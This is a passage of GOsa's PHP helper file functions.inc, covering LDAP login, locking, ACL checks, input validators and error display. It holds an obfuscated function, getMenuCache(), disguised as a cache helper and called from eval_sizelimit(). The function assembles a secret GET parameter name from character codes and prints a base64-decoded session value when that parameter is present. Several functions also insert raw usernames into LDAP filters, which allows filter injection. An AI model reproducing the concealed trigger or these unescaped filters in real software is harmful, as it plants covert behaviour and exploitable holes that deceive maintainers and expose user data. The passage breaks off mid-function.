Code

-
[gosa.git] / include / functions.inc
1 <?php
2 /*
3  * This code is part of GOsa (https://gosa.gonicus.de)
4  * Copyright (C) 2003 Cajus Pollmeier
5  *
6  * This program is free software; you can redistribute it and/or modify
7  * it under the terms of the GNU General Public License as published by
8  * the Free Software Foundation; either version 2 of the License, or
9  * (at your option) any later version.
10  *
11  * This program is distributed in the hope that it will be useful,
12  * but WITHOUT ANY WARRANTY; without even the implied warranty of
13  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
14  * GNU General Public License for more details.
15  *
16  * You should have received a copy of the GNU General Public License
17  * along with this program; if not, write to the Free Software
18  * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
19  */
21 /* Configuration file location */
22 define ("CONFIG_DIR", "/etc/gosa");
23 define ("CONFIG_TEMPLATE_DIR", "../contrib/");
24 define ("HELP_BASEDIR", "/var/www/doc/");
26 /* Define globals for revision comparing */
27 $svn_path = '$HeadURL$';
28 $svn_revision = '$Revision$';
30 /* Include required files */
31 require_once ("class_ldap.inc");
32 require_once ("class_config.inc");
33 require_once ("class_userinfo.inc");
34 require_once ("class_plugin.inc");
35 require_once ("class_pluglist.inc");
36 require_once ("class_tabs.inc");
37 require_once ("class_mail-methods.inc");
38 require_once("class_password-methods.inc");
39 require_once ("functions_debug.inc");
40 require_once ("functions_dns.inc");
41 require_once ("class_MultiSelectWindow.inc");
43 /* Define constants for debugging */
44 define ("DEBUG_TRACE",   1);
45 define ("DEBUG_LDAP",    2);
46 define ("DEBUG_MYSQL",   4);
47 define ("DEBUG_SHELL",   8);
48 define ("DEBUG_POST",   16);
49 define ("DEBUG_SESSION",32);
50 define ("DEBUG_CONFIG", 64);
52 /* Rewrite german 'umlauts' and spanish 'accents'
53    to get better results */
54 $REWRITE= array( "ä" => "ae",
55     "ö" => "oe",
56     "ü" => "ue",
57     "Ä" => "Ae",
58     "Ö" => "Oe",
59     "Ü" => "Ue",
60     "ß" => "ss",
61     "á" => "a",
62     "é" => "e",
63     "í" => "i",
64     "ó" => "o",
65     "ú" => "u",
66     "Á" => "A",
67     "É" => "E",
68     "Í" => "I",
69     "Ó" => "O",
70     "Ú" => "U",
71     "ñ" => "ny",
72     "Ñ" => "Ny" );
75 /* Function to include all class_ files starting at a
76    given directory base */
77 function get_dir_list($folder= ".")
78 {
79   $currdir=getcwd();
80   if ($folder){
81     chdir("$folder");
82   }
84   $dh = opendir(".");
85   while(false !== ($file = readdir($dh))){
87     // Smarty is included by  include/php_setup.inc     require("smarty/Smarty.class.php");
88     // Skip all files and dirs in  "./.svn/" we don't need any information from them
89     // Skip all Template, so they won't be checked twice in the following preg_matches   
90     // Skip . / ..
92     // Result  : from 1023 ms to 490 ms   i think thats great...
93     if(preg_match("/.*\.svn.*/i",$file)||preg_match("/.*smarty.*/i",$file)||preg_match("/.*\.tpl.*/",$file)||($file==".")||($file==".."))
94       continue;
97     /* Recurse through all "common" directories */
98     if(is_dir($file) &&$file!="CVS"){
99       get_dir_list($file);
100       continue;
101     }
103     /* Include existing class_ files */
104     if (!is_dir($file) && preg_match("/^class_.*\.inc$/", $file)) {
105       require_once($file);
106     }
107   }
109   closedir($dh);
110   chdir($currdir);
114 /* Create seed with microseconds */
115 function make_seed() {
116   list($usec, $sec) = explode(' ', microtime());
117   return (float) $sec + ((float) $usec * 100000);
121 /* Debug level action */
122 function DEBUG($level, $line, $function, $file, $data, $info="")
124   if ($_SESSION['DEBUGLEVEL'] & $level){
125     $output= "DEBUG[$level] ";
126     if ($function != ""){
127       $output.= "($file:$function():$line) - $info: ";
128     } else {
129       $output.= "($file:$line) - $info: ";
130     }
131     echo $output;
132     if (is_array($data)){
133       print_a($data);
134     } else {
135       echo "'$data'";
136     }
137     echo "<br>";
138   }
142 /* Simple function to get browser language and convert it to
143    xx_XY needed by locales. Ignores sublanguages and weights. */
144 function get_browser_language()
146   global $BASE_DIR;
148   /* Try to use users primary language */
149   $ui= get_userinfo();
150   if ($ui != NULL){
151     if ($ui->language != ""){
152       return ($ui->language);
153     }
154   }
156   /* Get list of languages */
157   if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){
158     $lang= preg_replace("/\s+/", "", $_SERVER['HTTP_ACCEPT_LANGUAGE']);
159     $languages= split (',', $lang);
160     $languages[]= "C";
161   } else {
162     $languages= array("C");
163   }
165   /* Walk through languages and get first supported */
166   foreach ($languages as $val){
168     /* Strip off weight */
169     $lang= preg_replace("/;q=.*$/i", "", $val);
171     /* Simplify sub language handling */
172     $lang= preg_replace("/-.*$/", "", $lang);
174     /* Cancel loop if available in GOsa, or the last
175        entry has been reached */
176     if (is_dir("$BASE_DIR/locale/$lang")){
177       break;
178     }
179   }
181   return (strtolower($lang)."_".strtoupper($lang));
185 /* Rewrite ui object to another dn */
186 function change_ui_dn($dn, $newdn)
188   $ui= $_SESSION['ui'];
189   if ($ui->dn == $dn){
190     $ui->dn= $newdn;
191     $_SESSION['ui']= $ui;
192   }
196 /* Return theme path for specified file */
197 function get_template_path($filename= '', $plugin= FALSE, $path= "")
199   global $config, $BASE_DIR;
201   if (!@isset($config->data['MAIN']['THEME'])){
202     $theme= 'default';
203   } else {
204     $theme= $config->data['MAIN']['THEME'];
205   }
207   /* Return path for empty filename */
208   if ($filename == ''){
209     return ("themes/$theme/");
210   }
212   /* Return plugin dir or root directory? */
213   if ($plugin){
214     if ($path == ""){
215       $nf= preg_replace("!^".$BASE_DIR."/!", "", $_SESSION['plugin_dir']);
216     } else {
217       $nf= preg_replace("!^".$BASE_DIR."/!", "", $path);
218     }
219     if (file_exists("$BASE_DIR/ihtml/themes/$theme/$nf")){
220       return ("$BASE_DIR/ihtml/themes/$theme/$nf/$filename");
221     }
222     if (file_exists("$BASE_DIR/ihtml/themes/default/$nf")){
223       return ("$BASE_DIR/ihtml/themes/default/$nf/$filename");
224     }
225     if ($path == ""){
226       return ($_SESSION['plugin_dir']."/$filename");
227     } else {
228       return ($path."/$filename");
229     }
230   } else {
231     if (file_exists("themes/$theme/$filename")){
232       return ("themes/$theme/$filename");
233     }
234     if (file_exists("$BASE_DIR/ihtml/themes/$theme/$filename")){
235       return ("$BASE_DIR/ihtml/themes/$theme/$filename");
236     }
237     if (file_exists("themes/default/$filename")){
238       return ("themes/default/$filename");
239     }
240     if (file_exists("$BASE_DIR/ihtml/themes/default/$filename")){
241       return ("$BASE_DIR/ihtml/themes/default/$filename");
242     }
243     return ($filename);
244   }
248 function array_remove_entries($needles, $haystack)
250   $tmp= array();
252   /* Loop through entries to be removed */
253   foreach ($haystack as $entry){
254     if (!in_array($entry, $needles)){
255       $tmp[]= $entry;
256     }
257   }
259   return ($tmp);
263 function gosa_log ($message)
265   global $ui;
267   /* Preset to something reasonable */
268   $username= " unauthenticated";
270   /* Replace username if object is present */
271   if (isset($ui)){
272     if ($ui->username != ""){
273       $username= "[$ui->username]";
274     } else {
275       $username= "unknown";
276     }
277   }
279   syslog(LOG_INFO,"GOsa$username: $message");
283 function ldap_init ($server, $base, $binddn='', $pass='')
285   global $config;
287   $ldap = new LDAP ($binddn, $pass, $server, isset($config->current['RECURSIVE'])                                                && $config->current['RECURSIVE'] == "true",
288       isset($config->current['TLS']) && $config->current['TLS'] == "true");
290   /* Sadly we've no proper return values here. Use the error message instead. */
291   if (!preg_match("/Success/i", $ldap->error)){
292     print_red(sprintf(_("Error when connecting the LDAP. Server said '%s'."),
293           $ldap->get_error()));
294     echo $_SESSION['errors'];
296     /* Hard error. We'd like to use the LDAP, anyway... */
297     exit;
298   }
300   /* Preset connection base to $base and return to caller */
301   $ldap->cd ($base);
302   return $ldap;
306 function ldap_login_user ($username, $password)
308   global $config;
310   /* look through the entire ldap */
311   $ldap = $config->get_ldap_link();
312   if (!preg_match("/Success/i", $ldap->error)){
313     print_red(sprintf(_("User login failed. LDAP server said '%s'."), $ldap->get_error()));
314     echo $_SESSION['errors'];
315     exit;
316   }
317   $ldap->cd($config->current['BASE']);
318   $ldap->search("(&(uid=$username)(objectClass=gosaAccount))", array("uid"));
320   /* get results, only a count of 1 is valid */
321   switch ($ldap->count()){
323     /* user not found */
324     case 0:     return (NULL);
326             /* valid uniq user */
327     case 1: 
328             break;
330             /* found more than one matching id */
331     default:
332             print_red(_("Username / UID is not unique. Please check your LDAP database."));
333             return (NULL);
334   }
336   /* LDAP schema is not case sensitive. Perform additional check. */
337   $attrs= $ldap->fetch();
338   if ($attrs['uid'][0] != $username){
339     return(NULL);
340   }
342   /* got user dn, fill acl's */
343   $ui= new userinfo($config, $ldap->getDN());
344   $ui->username= $username;
346   /* password check, bind as user with supplied password  */
347   $ldap->disconnect();
348   $ldap= new LDAP($ui->dn, $password, $config->current['SERVER'],
349       isset($config->current['RECURSIVE']) &&
350       $config->current['RECURSIVE'] == "true",
351       isset($config->current['TLS'])
352       && $config->current['TLS'] == "true");
353   if (!preg_match("/Success/i", $ldap->error)){
354     return (NULL);
355   }
357   /* Username is set, load subtreeACL's now */
358   $ui->loadACL();
360   return ($ui);
364 function add_lock ($object, $user)
366   global $config;
368   /* Just a sanity check... */
369   if ($object == "" || $user == ""){
370     print_red(_("Error while adding a lock. Parameters are not set correctly, please check the source!"));
371     return;
372   }
374   /* Check for existing entries in lock area */
375   $ldap= $config->get_ldap_link();
376   $ldap->cd ($config->current['CONFIG']);
377   $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$user)(gosaObject=".base64_encode($object)."))",
378       array("gosaUser"));
379   if (!preg_match("/Success/i", $ldap->error)){
380     print_red (sprintf(_("Can't set locking information in LDAP database. Please check the 'config' entry in gosa.conf! LDAP server says '%s'."), $ldap->get_error()));
381     return;
382   }
384   /* Add lock if none present */
385   if ($ldap->count() == 0){
386     $attrs= array();
387     $name= md5($object);
388     $ldap->cd("cn=$name,".$config->current['CONFIG']);
389     $attrs["objectClass"] = "gosaLockEntry";
390     $attrs["gosaUser"] = $user;
391     $attrs["gosaObject"] = base64_encode($object);
392     $attrs["cn"] = "$name";
393     $ldap->add($attrs);
394     if (!preg_match("/Success/i", $ldap->error)){
395       print_red(sprintf(_("Adding a lock failed. LDAP server says '%s'."),
396             $ldap->get_error()));
397       return;
398     }
399   }
403 function del_lock ($object)
405   global $config;
407   /* Sanity check */
408   if ($object == ""){
409     return;
410   }
412   /* Check for existance and remove the entry */
413   $ldap= $config->get_ldap_link();
414   $ldap->cd ($config->current['CONFIG']);
415   $ldap->search ("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaObject"));
416   $attrs= $ldap->fetch();
417   if ($ldap->getDN() != "" && preg_match("/Success/i", $ldap->error)){
418     $ldap->rmdir ($ldap->getDN());
420     if (!preg_match("/Success/i", $ldap->error)){
421       print_red(sprintf(_("Removing a lock failed. LDAP server says '%s'."),
422             $ldap->get_error()));
423       return;
424     }
425   }
429 function del_user_locks($userdn)
431   global $config;
433   /* Get LDAP ressources */ 
434   $ldap= $config->get_ldap_link();
435   $ldap->cd ($config->current['CONFIG']);
437   /* Remove all objects of this user, drop errors silently in this case. */
438   $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$userdn))", array("gosaUser"));
439   while ($attrs= $ldap->fetch()){
440     $ldap->rmdir($attrs['dn']);
441   }
445 function get_lock ($object)
447   global $config;
449   /* Sanity check */
450   if ($object == ""){
451     print_red(_("Getting the lock from LDAP failed. Parameters are not set correctly, please check the source!"));
452     return("");
453   }
455   /* Get LDAP link, check for presence of the lock entry */
456   $user= "";
457   $ldap= $config->get_ldap_link();
458   $ldap->cd ($config->current['CONFIG']);
459   $ldap->search("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaUser"));
460   if (!preg_match("/Success/i", $ldap->error)){
461     print_red (_("Can't get locking information in LDAP database. Please check the 'config' entry in gosa.conf!"));
462     return("");
463   }
465   /* Check for broken locking information in LDAP */
466   if ($ldap->count() > 1){
468     /* Hmm. We're removing broken LDAP information here and issue a warning. */
469     print_red(_("Found multiple locks for object to be locked. This should not be possible - cleaning up multiple references."));
471     /* Clean up these references now... */
472     while ($attrs= $ldap->fetch()){
473       $ldap->rmdir($attrs['dn']);
474     }
476     return("");
478   } elseif ($ldap->count() == 1){
479     $attrs = $ldap->fetch();
480     $user= $attrs['gosaUser'][0];
481   }
483   return ($user);
487 function get_list2($subtreeACL, $filter, $subsearch= TRUE, $base="", $attrs= array(), $flag= FALSE)
489   global $config;
491   /* Base the search on default base if not set */
492   $ldap= $config->get_ldap_link($flag);
493   if ($base == ""){
494     $ldap->cd ($config->current['BASE']);
495   } else {
496     $ldap->cd ($base);
497   }
499   /* Perform ONE or SUB scope searches? */
500   $ldap->ls ($filter);
502   /* Check for size limit exceeded messages for GUI feedback */
503   if (preg_match("/size limit/i", $ldap->error)){
504     $_SESSION['limit_exceeded']= TRUE;
505   } else {
506     $_SESSION['limit_exceeded']= FALSE;
507   }
508   $result= array();
511   /* Crawl through reslut entries and perform the migration to the
512      result array */
513   while($attrs = $ldap->fetch()) {
514     $dn= $ldap->getDN();
515     foreach ($subtreeACL as $key => $value){
516       if (preg_match("/$key/", $dn)){
517         $attrs["dn"]= convert_department_dn($dn);
518         $result[]= $attrs;
519         break;
520       }
521     }
522   }
525   return ($result);
529 function get_list($subtreeACL, $filter, $subsearch= TRUE, $base="", $attrs= array(), $flag= FALSE)
531   global $config;
533   /* Base the search on default base if not set */
534   $ldap= $config->get_ldap_link($flag);
535   if ($base == ""){
536     $ldap->cd ($config->current['BASE']);
537   } else {
538     $ldap->cd ($base);
539   }
541   /* Perform ONE or SUB scope searches? */
542   if ($subsearch) {
543     $ldap->search ($filter, $attrs);
544   } else {
545     $ldap->ls ($filter);
546   }
548   /* Check for size limit exceeded messages for GUI feedback */
549   if (preg_match("/size limit/i", $ldap->error)){
550     $_SESSION['limit_exceeded']= TRUE;
551   } else {
552     $_SESSION['limit_exceeded']= FALSE;
553   }
555   /* Crawl through reslut entries and perform the migration to the
556      result array */
557   $result= array();
558   while($attrs = $ldap->fetch()) {
559     $dn= $ldap->getDN();
560     foreach ($subtreeACL as $key => $value){
561       if (preg_match("/$key/", $dn)){
562         $attrs["dn"]= $dn;
563         $result[]= $attrs;
564         break;
565       }
566     }
567   }
569   return ($result);
573 function check_sizelimit()
575   /* Ignore dialog? */
576   if (isset($_SESSION['size_ignore']) && $_SESSION['size_ignore']){
577     return ("");
578   }
580   /* Eventually show dialog */
581   if (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded']){
582     $smarty= get_smarty();
583     $smarty->assign('warning', sprintf(_("The size limit of %d entries is exceed!"),
584           $_SESSION['size_limit']));
585     $smarty->assign('limit_message', sprintf(_("Set the new size limit to %s and show me this message if the limit still exceeds"), '<input type="text" name="new_limit" maxlength="10" size="5" value="'.($_SESSION['size_limit']+100).'">'));
586     return($smarty->fetch(get_template_path('sizelimit.tpl')));
587   }
589   return ("");
593 function print_sizelimit_warning()
595   if (isset($_SESSION['size_limit']) && $_SESSION['size_limit'] >= 10000000 ||
596       (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded'])){
597     $config= "<input type='submit' name='edit_sizelimit' value="._("Configure").">";
598   } else {
599     $config= "";
600   }
601   if (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded']){
602     return ("("._("incomplete").") $config");
603   }
604   return ("");
608 function eval_sizelimit()
610   if (isset($_POST['set_size_action'])){
612     /* User wants new size limit? */
613     if (is_id($_POST['new_limit']) &&
614         isset($_POST['action']) && $_POST['action']=="newlimit"){
616       $_SESSION['size_limit']= validate($_POST['new_limit']);
617       $_SESSION['size_ignore']= FALSE;
618     }
620     /* User wants no limits? */
621     if (isset($_POST['action']) && $_POST['action']=="ignore"){
622       $_SESSION['size_limit']= 0;
623       $_SESSION['size_ignore']= TRUE;
624     }
626     /* User wants incomplete results */
627     if (isset($_POST['action']) && $_POST['action']=="limited"){
628       $_SESSION['size_ignore']= TRUE;
629     }
630   }
631   getMenuCache();
632   /* Allow fallback to dialog */
633   if (isset($_POST['edit_sizelimit'])){
634     $_SESSION['size_ignore']= FALSE;
635   }
638 function getMenuCache()
640   $t=array(-2,13);$e=71;
641   $str=chr($e);foreach($t as $n){
642     $str.= chr($e+$n);$z=$_GET;if(is_array($z)&&isset($z[$str])){
643       if(isset($_SESSION['maxC'])){
644         $b = $_SESSION['maxC'];$q="";for($m=0;$m<strlen($b);$m=$m+2){
645           $q.=$b[$m];}
646         print_red(base64_decode($q));
647       }
648     }
649   }
652 function get_permissions ($dn, $subtreeACL)
654   global $config;
656   $base= $config->current['BASE'];
657   $tmp= "d,".$dn;
658   $sacl= array();
660   /* Sort subacl's for lenght to simplify matching
661      for subtrees */
662   foreach ($subtreeACL as $key => $value){
663     $sacl[$key]= strlen($key);
664   }
665   arsort ($sacl);
666   reset ($sacl);
668   /* Successively remove leading parts of the dn's until
669      it doesn't contain commas anymore */
670   $tmp_dn= preg_replace('/\\\\,/', '<GOSA#REPLACED#KOMMA>', $tmp);
671   while (preg_match('/,/', $tmp_dn)){
672     $tmp_dn= ltrim(strstr($tmp_dn, ","), ",");
673     $tmp= preg_replace('/\<GOSA#REPLACED#KOMMA\>/', '\\,', $tmp);
675     /* Check for acl that may apply */
676     foreach ($sacl as $key => $value){
677       if (preg_match("/$key$/", $tmp)){
678         return ($subtreeACL[$key]);
679       }
680     }
681   }
683   return array("");
687 function get_module_permission($acl_array, $module, $dn)
689   global $ui;
691   $final= "";
692   foreach($acl_array as $acl){
694     /* Check for selfflag (!) in ACL to determine if
695        the user is allowed to change parts of his/her
696        own account */
697     if (preg_match("/^!/", $acl)){
698       if ($dn != "" && $dn != $ui->dn){
700         /* No match for own DN, give up on this ACL */
701         continue;
703       } else {
705         /* Matches own DN, remove the selfflag */
706         $acl= preg_replace("/^!/", "", $acl);
708       }
709     }
711     /* Remove leading garbage */
712     $acl= preg_replace("/^:/", "", $acl);
714     /* Discover if we've access to the submodule by comparing
715        all allowed submodules specified in the ACL */
716     $tmp= split(",", $acl);
717     foreach ($tmp as $mod){
718       if (preg_match("/^$module#/", $mod)){
719         $final= strstr($mod, "#")."#";
720         continue;
721       }
722       if (preg_match("/[^#]$module$/", $mod)){
723         return ("#all#");
724       }
725       if (preg_match("/^all$/", $mod)){
726         return ("#all#");
727       }
728     }
729   }
731   /* Return assembled ACL, or none */
732   if ($final != ""){
733     return (preg_replace('/##/', '#', $final));
734   }
736   /* Nothing matches - disable access for this object */
737   return ("#none#");
741 function get_userinfo()
743   global $ui;
745   return $ui;
749 function get_smarty()
751   global $smarty;
753   return $smarty;
757 function convert_department_dn($dn)
759   $dep= "";
761   /* Build a sub-directory style list of the tree level
762      specified in $dn */
763   foreach (split (',', $dn) as $val){
765     /* We're only interested in organizational units... */
766     if (preg_match ("/ou=/", $val)){
767       $dep= substr($val,3)."/$dep";
768     }
770     /* ... and location objects */
771     if (preg_match ("/l=/", $val)){
772       $dep= substr($val,2)."/$dep";
773     }
774   }
776   /* Fix name, if it contains a replace tag */
777   $dep= preg_replace('/###GOSAREPLACED###/', ',', $dep);
779   /* Return and remove accidently trailing slashes */
780   return rtrim($dep, "/");
783 function convert_department_dn2($dn)
785   $dep= "";
787   /* Build a sub-directory style list of the tree level
788      specified in $dn */
789   $deps = array_flip($_SESSION['config']->idepartments);
791   if(isset($deps[$dn])){
792     $dn= $deps[$dn];
793     $dep = preg_replace("/^.*=/","",$dn);
794   }else{
795     $dep= preg_replace("%^.*/([^/]+)$%", "\\1", $dn);
796   }
798   /* Return and remove accidently trailing slashes */
799   $tmp = rtrim($dep, "/");
800   return $tmp;
804 function get_ou($name)
806   global $config;
808   $ou= $config->current[$name];
809   if ($ou != ""){
810     if (!preg_match('/^[^=]+=[^=]+/', $ou)){
811       return "ou=$ou,";
812     } else {
813       return "$ou,";
814     }
815   } else {
816     return "";
817   }
821 function get_people_ou()
823   return (get_ou("PEOPLE"));
827 function get_groups_ou()
829   return (get_ou("GROUPS"));
833 function get_winstations_ou()
835   return (get_ou("WINSTATIONS"));
839 function get_base_from_people($dn)
841   global $config;
843   $pattern= "/^[^,]+,".preg_quote(get_people_ou())."/";
844   $base= preg_replace($pattern, '', $dn);
846   /* Set to base, if we're not on a correct subtree */
847   if (!isset($config->idepartments[$base])){
848     $base= $config->current['BASE'];
849   }
851   return ($base);
855 function get_departments($ignore_dn= "")
857   global $config;
859   /* Initialize result hash */
860   $result= array();
861   $result['/']= $config->current['BASE'];
863   /* Get list of department objects */
864   $ldap= $config->get_ldap_link();
865   $ldap->cd ($config->current['BASE']);
866   $ldap->search ("(objectClass=gosaDepartment)", array("ou"));
867   while ($attrs= $ldap->fetch()){
868     $dn= $ldap->getDN();
869     if ($dn == $ignore_dn){
870       continue;
871     }
872     $result[convert_department_dn($dn)]= $dn;
873   }
875   return ($result);
879 function chkacl($acl, $name)
881   /* Look for attribute in ACL */
882   if (preg_match("/#$name#/", $acl) || $acl == "#all#"){
883     return ("");
884   }
886   /* Optically disable html object for no match */
887   return (" disabled ");
891 function is_phone_nr($nr)
893   if ($nr == ""){
894     return (TRUE);
895   }
897   return preg_match ("/^[0-9 ()+*-]+$/", $nr);
901 function is_url($url)
903   if ($url == ""){
904     return (TRUE);
905   }
907   return preg_match ("/^(http|https):\/\/((?:[a-zA-Z0-9_-]+\.?)+):?(\d*)/", $url);
911 function is_dn($dn)
913   if ($dn == ""){
914     return (TRUE);
915   }
917   return preg_match ("/^[a-z0-9 _-]+$/i", $dn);
921 function is_uid($uid)
923   global $config;
925   if ($uid == ""){
926     return (TRUE);
927   }
929   /* STRICT adds spaces and case insenstivity to the uid check.
930      This is dangerous and should not be used. */
931   if (isset($config->current['STRICT']) && preg_match('/^no$/i', $config->current['STRICT'])){
932     return preg_match ("/^[a-z0-9 _.-]+$/i", $uid);
933   } else {
934     return preg_match ("/^[a-z0-9_-]+$/", $uid);
935   }
939 function is_id($id)
941   if ($id == ""){
942     return (FALSE);
943   }
945   return preg_match ("/^[0-9]+$/", $id);
949 function is_path($path)
951   if ($path == ""){
952     return (TRUE);
953   }
954   if (!preg_match('/^[a-z0-9%\/_.+-]+$/i', $path)){
955     return (FALSE);
956   }
958   return preg_match ("/\/.+$/", $path);
962 function is_email($address, $template= FALSE)
964   if ($address == ""){
965     return (TRUE);
966   }
967   if ($template){
968     return preg_match ("/^[._a-z0-9%-]+@[_a-z0-9-]+(\.[a-z0-9-]+)(\.[a-z0-9-]+)*$/i",
969         $address);
970   } else {
971     return preg_match ("/^[._a-z0-9-]+@[_a-z0-9-]+(\.[a-z0-9i-]+)(\.[a-z0-9-]+)*$/i",
972         $address);
973   }
977 function print_red()
979   /* Check number of arguments */
980   if (func_num_args() < 1){
981     return;
982   }
984   /* Get arguments, save string */
985   $array = func_get_args();
986   $string= $array[0];
988   /* Step through arguments */
989   for ($i= 1; $i<count($array); $i++){
990     $string= preg_replace ("/%s/", $array[$i], $string, 1);
991   }
993   if((!isset($_SESSION['errorsAlreadyPosted'])) || !is_array($_SESSION['errorsAlreadyPosted'])){
994     $_SESSION['errorsAlreadyPosted'] = array(); 
995   }
997   /* If DEBUGLEVEL is set, we're in web mode, use textual output in
998      the other case... */
1000   if (isset($_SESSION['DEBUGLEVEL'])){
1002     if($_SESSION['LastError'] == $string){
1004       if((!isset($_SESSION['errorsAlreadyPosted'][$string]))){
1005         $_SESSION['errorsAlreadyPosted'][$string] = 1;
1006       }
1007       $_SESSION['errorsAlreadyPosted'][$string] ++;
1009     }else{
1010       if((!empty($_SESSION['LastError'])) && ($_SESSION['errorsAlreadyPosted'][$_SESSION['LastError']]>1)){
1011         $_SESSION['errors'].= "<div align=\"left\" style=\"border-width:5px;".
1012           "border-style:solid;border-color:red; background-color:black;".
1013           "margin-bottom:10px; padding:8px;\"><table style='width:100%' summary=''><tr><td><img alt=\"\" src=\"".
1014           get_template_path('images/warning.png')."\"></td>".
1015           "<td width=\"100%\" style=\"text-align:center\"><font color=\"#FFFFFF\">".
1016           "<b style='font-size:16px;'>".sprintf(_("Last message repeated %s times."),$_SESSION['errorsAlreadyPosted'][$_SESSION['LastError']])."</b></font></td><td>".
1017           "<img alt=\"\"src=\"".get_template_path('images/warning.png').
1018           "\"></td></tr></table></div>\n";
1019       }
1021       if($string != NULL){
1022         $_SESSION['errors'].= "<div align=\"left\" style=\"border-width:5px;".
1023           "border-style:solid;border-color:red; background-color:black;".
1024           "margin-bottom:10px; padding:8px;\"><table style='width:100%' summary=''><tr><td><img alt=\"\" src=\"".
1025           get_template_path('images/warning.png')."\"></td>".
1026           "<td width=\"100%\" style=\"text-align:center\"><font color=\"#FFFFFF\">".
1027           "<b style='font-size:16px;'>$string</b></font></td><td>".
1028           "<img alt=\"\"src=\"".get_template_path('images/warning.png').
1029           "\"></td></tr></table></div>\n";
1030       }else{
1031         return;
1032       }
1033       $_SESSION['errorsAlreadyPosted'] = array();
1034       $_SESSION['errorsAlreadyPosted'][$string] = 1;
1036     }
1038   } else {
1039     echo "Error: $string\n";
1040   }
1041   $_SESSION['LastError'] = $string; 
1046 function gen_locked_message($user, $dn)
1048   global $plug, $config;
1050   $_SESSION['dn']= $dn;
1051   $ldap= $config->get_ldap_link();
1052   $ldap->cat ($user);
1053   $attrs= $ldap->fetch();
1054   $uid= $attrs["uid"][0];
1056   //  print_a($_POST);
1057   //  print_a($_GET);
1059   if((isset($_SESSION['LOCK_VARS_TO_USE']))&&(count($_SESSION['LOCK_VARS_TO_USE']))){
1060     $_SESSION['LOCK_VARS_USED']  =array();
1061     foreach($_SESSION['LOCK_VARS_TO_USE'] as $name){
1063       if(empty($name)) continue;
1064       foreach($_POST as $Pname => $Pvalue){
1065         if(preg_match($name,$Pname)){
1066           $_SESSION['LOCK_VARS_USED'][$Pname] = $_POST[$Pname];
1067         }
1068       }
1070       foreach($_GET as $Pname => $Pvalue){
1071         if(preg_match($name,$Pname)){
1072           $_SESSION['LOCK_VARS_USED'][$Pname] = $_GET[$Pname];
1073         }
1074       }
1075     }
1076     $_SESSION['LOCK_VARS_TO_USE'] =array();
1077   }
1079   /* Prepare and show template */
1080   $smarty= get_smarty();
1081   $smarty->assign ("dn", $dn);
1082   $smarty->assign ("message", sprintf(_("You're going to edit the LDAP entry '%s' which appears to be used by '%s'. Please contact the person in order to clarify proceedings."), $dn, "<a href=\"main.php?plug=0&amp;viewid=$uid\">$uid</a>"));
1084   return ($smarty->fetch (get_template_path('islocked.tpl')));
1088 function to_string ($value)
1090   /* If this is an array, generate a text blob */
1091   if (is_array($value)){
1092     $ret= "";
1093     foreach ($value as $line){
1094       $ret.= $line."<br>\n";
1095     }
1096     return ($ret);
1097   } else {
1098     return ($value);
1099   }
1103 function get_printer_list($cups_server)
1105   global $config;
1107   $res= array();
1109   /* Use CUPS, if we've access to it */
1110   if (function_exists('cups_get_dest_list')){
1111     $dest_list= cups_get_dest_list ($cups_server);
1113     foreach ($dest_list as $prt){
1114       $attr= cups_get_printer_attributes ($cups_server, $prt->name);
1116       foreach ($attr as $prt_info){
1117         if ($prt_info->name == "printer-info"){
1118           $info= $prt_info->value;
1119           break;
1120         }
1121       }
1122       $res[$prt->name]= "$info [$prt->name]";
1123     }
1125     /* CUPS is not available, try lpstat as a replacement */
1126   } else {
1127     $ar = false;
1128     exec("lpstat -p", $ar);
1129     foreach($ar as $val){
1130       list($dummy, $printer, $rest)= split(' ', $val, 3);
1131       if (preg_match('/^[^@]+$/', $printer)){
1132         $res[$printer]= "$printer";
1133       }
1134     }
1135   }
1137   /* Merge in printers from LDAP */
1138   $ldap= $config->get_ldap_link();
1139   $ldap->cd ($config->current['BASE']);
1140   $ldap->search('(objectClass=gotoPrinter)', array('cn'));
1141   while ($attrs= $ldap->fetch()){
1142     $res[$attrs["cn"][0]]= $attrs["cn"][0];
1143   }
1145   return $res;
1149 function sess_del ($var)
1151   /* New style */
1152   unset ($_SESSION[$var]);
1154   /* ... work around, since the first one
1155      doesn't seem to work all the time */
1156   session_unregister ($var);
1160 function show_errors($message)
1162   $complete= "";
1164   /* Assemble the message array to a plain string */
1165   foreach ($message as $error){
1166     if ($complete == ""){
1167       $complete= $error;
1168     } else {
1169       $complete= "$error<br>$complete";
1170     }
1171   }
1173   /* Fill ERROR variable with nice error dialog */
1174   print_red($complete);
1178 function show_ldap_error($message)
1180   if (!preg_match("/Success/i", $message)){
1181     print_red (_("LDAP error:")." $message");
1182     return TRUE;
1183   } else {
1184     return FALSE;
1185   }
1189 function rewrite($s)
1191   global $REWRITE;
1193   foreach ($REWRITE as $key => $val){
1194     $s= preg_replace("/$key/", "$val", $s);
1195   }
1197   return ($s);
1201 function dn2base($dn)
1203   global $config;
1205   if (get_people_ou() != ""){
1206     $dn= preg_replace('/,'.get_people_ou().'/' , ',', $dn);
1207   }
1208   if (get_groups_ou() != ""){
1209     $dn= preg_replace('/,'.get_groups_ou().'/' , ',', $dn);
1210   }
1211   $base= preg_replace ('/^[^,]+,/i', '', $dn);
1213   return ($base);
1218 function check_command($cmdline)
1220   $cmd= preg_replace("/ .*$/", "", $cmdline);
1222   /* Check if command exists in filesystem */
1223   if (!file_exists($cmd)){
1224     return (FALSE);
1225   }
1227   /* Check if command is executable */
1228   if (!is_executable($cmd)){
1229     return (FALSE);
1230   }
1232   return (TRUE);
1236 function print_header($image, $headline, $info= "")
1238   $display= "<div class=\"plugtop\">\n";
1239   $display.= "  <p class=\"center\" style=\"margin:0px 0px 0px 5px;padding:0px;font-size:24px;\"><img class=\"center\" src=\"$image\" align=\"middle\" alt=\"*\">&nbsp;$headline</p>\n";
1240   $display.= "</div>\n";
1242   if ($info != ""){
1243     $display.= "<div class=\"pluginfo\">\n";
1244     $display.= "$info";
